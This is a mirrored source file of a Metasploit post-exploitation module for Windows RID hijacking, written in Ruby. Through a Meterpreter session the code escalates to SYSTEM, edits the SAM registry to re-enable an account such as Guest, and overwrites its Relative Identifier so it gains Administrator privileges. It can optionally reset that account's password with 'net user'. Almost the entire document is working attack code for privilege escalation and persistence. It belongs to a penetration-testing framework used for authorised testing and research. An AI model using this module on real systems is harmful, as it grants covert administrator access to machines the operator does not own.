Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/rid_hijack.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Registry
8
include Msf::Post::Windows::Priv
9
10
def initialize
11
super(
12
'Name' => 'Windows Manage RID Hijacking',
13
'Description' => %q{
14
This module will create an entry on the target by modifying some properties
15
of an existing account. It will change the account attributes by setting a
16
Relative Identifier (RID), which should be owned by one existing
17
account on the destination machine.
18
19
Taking advantage of some Windows Local Users Management integrity issues,
20
this module will allow to authenticate with one known account
21
credentials (like GUEST account), and access with the privileges of another
22
existing account (like ADMINISTRATOR account), even if the spoofed account is
23
disabled.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => 'Sebastian Castro <sebastian.castro[at]cslcolombia.com>',
27
'Platform' => ['win'],
28
'SessionTypes' => ['meterpreter'],
29
'References' => [
30
['URL', 'https://web.archive.org/web/20240520163742/https://csl.com.co/rid-hijacking/']
31
],
32
'Compat' => {
33
'Meterpreter' => {
34
'Commands' => %w[
35
priv_elevate_getsystem
36
]
37
},
38
'Notes' => {
39
'Stability' => [CRASH_SAFE],
40
'SideEffects' => [CONFIG_CHANGES],
41
'Reliability' => []
42
}
43
})
44
45
register_options(
46
[
47
OptBool.new('GETSYSTEM', [true, 'Attempt to get SYSTEM privilege on the target host.', false]),
48
OptBool.new('GUEST_ACCOUNT', [true, 'Assign the defined RID to the Guest Account.', false]),
49
OptString.new('USERNAME', [false, 'User to set the defined RID.']),
50
OptString.new('PASSWORD', [false, 'Password to set to the defined user account.']),
51
OptInt.new('RID', [true, 'RID to set to the specified account.', 500])
52
]
53
)
54
end
55
56
def getsystem
57
results = session.priv.getsystem
58
if results[0]
59
return true
60
else
61
return false
62
end
63
end
64
65
def get_name_from_rid(reg_key, rid, names_key)
66
names_key.each do |name|
67
skey = registry_getvalinfo(reg_key + "\\Names\\#{name}", '')
68
rid_user = skey['Type']
69
return name if rid_user == rid
70
end
71
return nil
72
end
73
74
def get_user_rid(reg_key, username, names_key)
75
names_key.each do |name|
76
next unless name.casecmp(username).zero?
77
78
print_good("Found #{name} account!")
79
skey = registry_getvalinfo(reg_key + "\\Names\\#{name}", '')
80
rid = skey['Type']
81
if !skey
82
print_error("Could not open user's key")
83
return -1
84
end
85
return rid
86
end
87
return -1
88
end
89
90
def check_active(fbin)
91
if fbin[0x38].unpack('H*')[0].to_i != 10
92
return true
93
else
94
return false
95
end
96
end
97
98
def swap_rid(fbin, rid)
99
# This function will set hex format to a given RID integer
100
hex = [format('%04x', rid).scan(/.{2}/).reverse.join].pack('H*')
101
# Overwrite new RID at offset 0x30
102
fbin[0x30, 2] = hex
103
return fbin
104
end
105
106
def run
107
# Registry key to manipulate
108
reg_key = 'HKLM\\SAM\\SAM\\Domains\\Account\\Users'
109
110
# Checks privileges of the session, and tries to get SYSTEM privileges if needed.
111
print_status('Checking for SYSTEM privileges on session')
112
if !is_system?
113
if datastore['GETSYSTEM']
114
print_status('Trying to get SYSTEM privileges')
115
if getsystem
116
print_good('Got SYSTEM privileges')
117
else
118
print_error('Could not obtain SYSTEM privileges')
119
return
120
end
121
else
122
print_error('Session is not running with SYSTEM privileges. Try setting GETSYSTEM ')
123
return
124
end
125
else
126
print_good('Session is already running with SYSTEM privileges')
127
end
128
129
# Checks the Windows Version.
130
version = get_version_info
131
print_status("Target OS: #{version.product_name}")
132
133
# Load the usernames from SAM Registry key
134
names_key = registry_enumkeys(reg_key + '\\Names')
135
unless names_key
136
print_error('Could not access to SAM registry keys')
137
return
138
end
139
140
# If username is set, looks for it in SAM registry key
141
user_rid = -1
142
username = datastore['USERNAME']
143
if datastore['GUEST_ACCOUNT']
144
user_rid = 0x1f5
145
print_status('Target account: Guest Account')
146
username = get_name_from_rid(reg_key, user_rid, names_key)
147
else
148
if datastore['USERNAME'].to_s.empty?
149
print_error('You must set an username or enable GUEST_ACCOUNT option')
150
return
151
end
152
print_status('Checking users...')
153
user_rid = get_user_rid(reg_key, datastore['USERNAME'], names_key)
154
end
155
156
# Result of the RID harvesting
157
if user_rid == -1
158
print_error('Could not find the specified username')
159
return
160
else
161
print_status("Target account username: #{username}")
162
print_status("Target account RID: #{user_rid}")
163
end
164
165
# Search the Registry associated to the user's RID and overwrites it
166
users_key = registry_enumkeys(reg_key)
167
users_key.each do |r|
168
next if r.to_i(16) != user_rid
169
170
f = registry_getvaldata(reg_key + "\\#{r}", 'F')
171
if check_active(f)
172
print_status('Account is disabled, activating...')
173
f[0x38] = ['10'].pack('H')
174
print_good('Target account enabled')
175
else
176
print_good('Target account is already enabled')
177
end
178
179
print_status('Overwriting RID')
180
# Overwrite RID to specified RID
181
f = swap_rid(f, datastore['RID'])
182
183
open_key = registry_setvaldata(reg_key + "\\#{r}", 'F', f, 'REG_BINARY')
184
unless open_key
185
print_error("Can't write to registry... Something's wrong!")
186
return -1
187
end
188
print_good("The RID #{datastore['RID']} is set to the account #{username} with original RID #{user_rid}")
189
end
190
# If set, changes the specified username's password
191
if datastore['PASSWORD']
192
print_status("Setting #{username} password to #{datastore['PASSWORD']}")
193
cmd = cmd_exec('cmd.exe', "/c net user #{username} #{datastore['PASSWORD']}")
194
vprint_status(cmd.to_s)
195
end
196
end
197
end
198
199